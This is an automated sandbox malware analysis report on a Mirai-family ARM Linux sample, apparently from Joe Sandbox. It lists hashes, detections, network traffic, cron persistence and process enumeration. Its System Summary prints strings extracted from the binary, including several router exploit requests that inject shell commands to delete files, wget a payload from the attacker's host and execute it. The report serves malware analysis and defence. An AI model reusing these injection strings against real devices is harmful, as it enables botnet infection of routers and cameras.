Joe Sandbox Cloud Basic Analysis Report
Edit tour

Linux Analysis Report
doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf

Overview

General Information

Sample name:doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
Analysis ID:1547944
MD5:1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1:0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA256:94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:84
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Contains symbols with names commonly found in malware
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
HTTP GET or POST without a user agent
Reads the 'hosts' file potentially containing internal network hosts
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1547944
Start date and time:2024-11-03 13:53:50 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 3m 52s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
Detection:MAL
Classification:mal84.troj.linELF@0/2@1/0
  • Connection to analysis system has been lost, crash info: Unknown
  • VT rate limit hit for: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf

Runtime Messages

Command:/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
PID:5488
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:

Standard Error:no crontab for root

Process Tree

  • system is lnxubuntu20
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfJoeSecurity_Mirai_4Yara detected MiraiJoe Security
    doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        • • AV Detection
        • • Networking
        • • System Summary
        • • Persistence and Installation Behavior
        • • Malware Analysis System Evasion
        • • Stealing of Sensitive Information
        • • Remote Access Functionality

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfReversingLabs: Detection: 50%
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 216.126.231.240Connection: close
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5505)Reads hosts file: /etc/hostsJump to behavior
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 216.126.231.240Connection: close
        Source: global trafficDNS traffic detected: DNS query: conn.masjesu.zip
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfString found in binary or memory: http://purenetworks.com/HNAP1/
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 46696
        Source: unknownNetwork traffic detected: HTTP traffic on port 46696 -> 443

        System Summary

        barindex
        Source: ELF static info symbol of initial sampleName: ATTACKRUNNING
        Source: ELF static info symbol of initial sampleName: LastAttackTime
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /UD/act?1 HTTP/1.1
        Source: Initial samplePotential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
        Source: Initial samplePotential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s/l7vmra;sh${IFS}/tmp/l7vmra&>r&&tar${IFS}/string.js HTTP/1.0
        Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spim
        Source: Initial samplePotential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra
        Source: Initial samplePotential command found: GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spimGET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmraGET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
        Source: Initial samplePotential command found: GET /.shell HTTP/1.1
        Source: Initial samplePotential command found: GET / HTTP/1.1
        Source: classification engineClassification label: mal84.troj.linELF@0/2@1/0
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: /home/firmware/build/temp-armv5l/gcc-core/gcc/config/arm/lib1funcs.asm
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: /home/firmware/build/temp-armv5l/gcc-core/gcc/config/arm/lib1funcs.asm
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: /home/firmware/build/temp-armv5l/gcc-core/gcc/config/arm/lib1funcs.asm
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: /home/firmware/build/temp-armv5l/gcc-core/gcc/config/arm/lib1funcs.asm
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: /home/firmware/build/temp-armv5l/gcc-core/gcc/config/arm/lib1funcs.asm
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: libc/string/arm/_memcpy.S
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: libc/string/arm/bcopy.S
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: libc/string/arm/memcpy.S
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: libc/string/arm/memmove.S
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: libc/string/arm/memset.S
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: libc/string/arm/strcmp.S
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: libc/string/arm/strlen.S
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: libc/sysdeps/linux/arm/crt1.S
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: libc/sysdeps/linux/arm/crti.S
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: libc/sysdeps/linux/arm/crtn.S
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: libc/sysdeps/linux/arm/sigrestorer.S
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfELF static info symbol of initial sample: libc/sysdeps/linux/arm/vfork.S

        Persistence and Installation Behavior

        barindex
        Source: /bin/sh (PID: 5498)Crontab executable: /usr/bin/crontab -> crontab -lJump to behavior
        Source: /bin/sh (PID: 5504)Crontab executable: /usr/bin/crontab -> crontab -Jump to behavior
        Source: /usr/bin/crontab (PID: 5504)File: /var/spool/cron/crontabs/tmp.iyTtfqJump to behavior
        Source: /usr/bin/crontab (PID: 5504)File: /var/spool/cron/crontabs/rootJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/3760/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/3761/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/1583/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/2672/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/110/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/3759/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/111/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/112/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/113/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/234/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/1577/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/114/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/235/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/115/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/116/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/117/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/118/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/119/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/10/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/917/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/3758/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/11/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/12/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/13/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/14/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/15/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/16/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/17/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/18/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/19/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/1593/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/240/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/120/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/3094/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/121/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/242/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/3406/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/1/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/122/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/243/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/2/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/123/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/244/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/1589/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/3/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/124/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/245/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/1588/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/125/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/4/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/246/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/3402/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/126/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/5/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/247/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/127/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/6/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/248/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/128/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/7/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/249/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/8/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/129/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/800/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/9/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/801/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/803/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/20/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/806/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/21/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/807/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/928/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/22/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/23/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/24/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/25/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/26/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/27/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/28/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/29/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/3420/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/490/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/250/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/130/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/251/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/131/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/252/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/132/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/253/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/254/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/255/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/135/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/256/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/1599/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/257/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/378/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/258/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/3412/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/259/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/30/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/35/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/1371/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/260/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/261/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5507)File opened: /proc/262/cmdlineJump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5492)Shell command executed: sh -c "crontab -l"Jump to behavior
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5499)Shell command executed: sh -c "crontab -"Jump to behavior
        Source: submitted sampleStderr: no crontab for root: exit code = 0
        Source: /tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf (PID: 5488)Queries kernel information via 'uname': Jump to behavior
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf, 5488.1.00007ffda6c52000.00007ffda6c73000.rw-.sdmp, doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf, 5490.1.00007ffda6c52000.00007ffda6c73000.rw-.sdmpBinary or memory string: fx86_64/usr/bin/qemu-arm/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf, 5488.1.000056232de29000.000056232df57000.rw-.sdmp, doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf, 5490.1.000056232de29000.000056232df57000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf, 5488.1.00007ffda6c52000.00007ffda6c73000.rw-.sdmp, doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf, 5490.1.00007ffda6c52000.00007ffda6c73000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
        Source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf, 5488.1.000056232de29000.000056232df57000.rw-.sdmp, doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf, 5490.1.000056232de29000.000056232df57000.rw-.sdmpBinary or memory string: -#V!/etc/qemu-binfmt/arm

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf, type: SAMPLE

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf, type: SAMPLE

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information1
        Scripting        		Valid Accounts1
        Command and Scripting Interpreter        		1
        Scheduled Task/Job        		1
        Scheduled Task/Job        		Direct Volume Access1
        OS Credential Dumping        		11
